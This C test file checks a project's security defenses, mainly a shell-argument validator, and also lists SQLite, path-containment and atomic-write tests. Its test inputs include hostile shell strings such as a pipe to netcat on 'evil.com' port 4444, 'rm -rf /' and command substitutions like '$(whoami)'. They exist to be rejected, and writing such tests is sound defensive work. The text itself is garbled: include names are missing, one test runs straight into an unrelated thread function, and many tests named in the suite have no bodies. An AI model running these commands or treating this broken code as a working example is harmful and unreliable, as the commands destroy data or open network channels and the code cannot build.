/* * test_security.c — Tests for security defenses. * * Verifies that the actual security mechanisms work end-to-end: * - Shell injection prevention (cbm_validate_shell_arg) * - SQLite authorizer (ATTACH/DETACH blocked) * - Path containment (realpath prevents directory traversal) */ #include "test_framework.h" #include "test_helpers.h" #include #include #include "../src/foundation/str_util.h" #include "../src/foundation/compat_fs.h" #include "../src/foundation/compat_thread.h" #include #include /* ══════════════════════════════════════════════════════════════════ * SHELL INJECTION PREVENTION * ══════════════════════════════════════════════════════════════════ */ TEST(shell_rejects_single_quote) { ASSERT_FALSE(cbm_validate_shell_arg("foo'bar")); PASS(); } TEST(shell_rejects_dollar_subst) { ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)")); PASS(); } TEST(shell_rejects_backtick) { ASSERT_FALSE(cbm_validate_shell_arg("`id`")); PASS(); } TEST(shell_rejects_semicolon) { ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /")); PASS(); } TEST(shell_rejects_pipe) { ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444")); PASS(); } TEST(shell_rejects_ampersand) { ASSERT_FALSE(cbm_validate_shell_arg("foo&background")); PASS(); } TEST(shell_rejects_backslash) { #ifdef _WIN32 /* Backslash is allowed on Windows (path separator) */ ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar")); #else ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar")); #endif PASS(); } TEST(shell_rejects_newline) { ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar")); PASS(); } TEST(shell_rejects_carriage_return) { ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar")); PASS(); } TEST(shell_rejects_null) { ASSERT_FALSE(cbm_validate_shell_arg(NULL)); PASS(); } TEST(shell_rejects_double_quote) { /* On Windows, the search code path wraps args in cmd.exe-level * "powershell -Command \"...'%s'...\"". A " in the input would close * the cmd.exe outer quote. Block unconditionally. */ ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar")); PASS(); } TEST(shell_rejects_redirect_out) { ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt")); PASS(); } TEST(shell_rejects_redirect_in) { ASSERT_FALSE(cbm_validate_shell_arg("foopayload); for (int i = 0; i < ATOMIC_CONCURRENT_WRITES; i++) { cbm_file_error_t err = {0}; if (cbm_write_file_atomic(wa->dest, wa->payload, len, &err) != 0) { wa->failures++; } } return NULL; } TEST(compat_write_file_atomic_concurrent_same_destination) { char *dir = th_mktempdir("cbm_write_file_atomic_concurrent"); ASSERT_NOT_NULL(dir); char root[256]; snprintf(root, sizeof(root), "%s", dir); char dest[512]; snprintf(dest, sizeof(dest), "%s", TH_PATH(root, "payload.bin")); ASSERT_EQ(th_write_file(dest, "initial"), 0); atomic_writer_arg_t a = {.dest = dest, .payload = "alpha", .failures = 0}; atomic_writer_arg_t b = {.dest = dest, .payload = "bravo", .failures = 0}; cbm_thread_t ta, tb; ASSERT_EQ(cbm_thread_create(&ta, 0, atomic_writer_thread, &a), 0); ASSERT_EQ(cbm_thread_create(&tb, 0, atomic_writer_thread, &b), 0); ASSERT_EQ(cbm_thread_join(&ta), 0); ASSERT_EQ(cbm_thread_join(&tb), 0); ASSERT_EQ(a.failures, 0); ASSERT_EQ(b.failures, 0); FILE *fp = fopen(dest, "rb"); ASSERT_NOT_NULL(fp); char buf[16] = {0}; size_t n = fread(buf, 1, sizeof(buf) - 1, fp); fclose(fp); ASSERT_TRUE((n == strlen(a.payload) && strcmp(buf, a.payload) == 0) || (n == strlen(b.payload) && strcmp(buf, b.payload) == 0)); th_cleanup(root); PASS(); } /* ══════════════════════════════════════════════════════════════════ * SUITE * ══════════════════════════════════════════════════════════════════ */ SUITE(security) { /* Shell injection prevention */ RUN_TEST(shell_rejects_single_quote); RUN_TEST(shell_rejects_dollar_subst); RUN_TEST(shell_rejects_backtick); RUN_TEST(shell_rejects_semicolon); RUN_TEST(shell_rejects_pipe); RUN_TEST(shell_rejects_ampersand); RUN_TEST(shell_rejects_backslash); RUN_TEST(shell_rejects_newline); RUN_TEST(shell_rejects_carriage_return); RUN_TEST(shell_rejects_null); RUN_TEST(shell_rejects_double_quote); RUN_TEST(shell_rejects_redirect_out); RUN_TEST(shell_rejects_redirect_in); RUN_TEST(shell_accepts_clean_path); RUN_TEST(shell_accepts_spaces); RUN_TEST(shell_accepts_dots_dashes); RUN_TEST(shell_accepts_empty); RUN_TEST(shell_rejects_quote_escape_attack); RUN_TEST(shell_rejects_command_substitution); RUN_TEST(shell_rejects_env_var_expansion); /* SQLite authorizer */ RUN_TEST(sqlite_blocks_attach_via_cypher); RUN_TEST(sqlite_blocks_attach_direct); RUN_TEST(sqlite_blocks_detach_direct); RUN_TEST(sqlite_allows_normal_queries); /* SQL injection via Cypher */ RUN_TEST(cypher_rejects_sql_injection_in_string); RUN_TEST(cypher_rejects_union_injection); /* Path containment (POSIX only) */ #ifndef _WIN32 RUN_TEST(path_traversal_blocked); RUN_TEST(path_within_root_allowed); #endif #ifndef _WIN32 /* Shell-free subprocess execution */ RUN_TEST(exec_no_shell_true_returns_zero); RUN_TEST(exec_no_shell_false_returns_nonzero); RUN_TEST(exec_no_shell_echo_with_metacharacters); RUN_TEST(exec_no_shell_nonexistent_command); RUN_TEST(exec_no_shell_null_argv_returns_error); RUN_TEST(exec_no_shell_captures_exit_code); #endif RUN_TEST(compat_replace_file_replaces_destination); RUN_TEST(compat_move_file_no_replace_preserves_existing_destination); RUN_TEST(compat_move_file_no_replace_moves_when_destination_missing); RUN_TEST(compat_write_file_atomic_replaces_destination); RUN_TEST(compat_write_file_atomic_reports_replace_failure); RUN_TEST(compat_write_file_atomic_concurrent_same_destination); }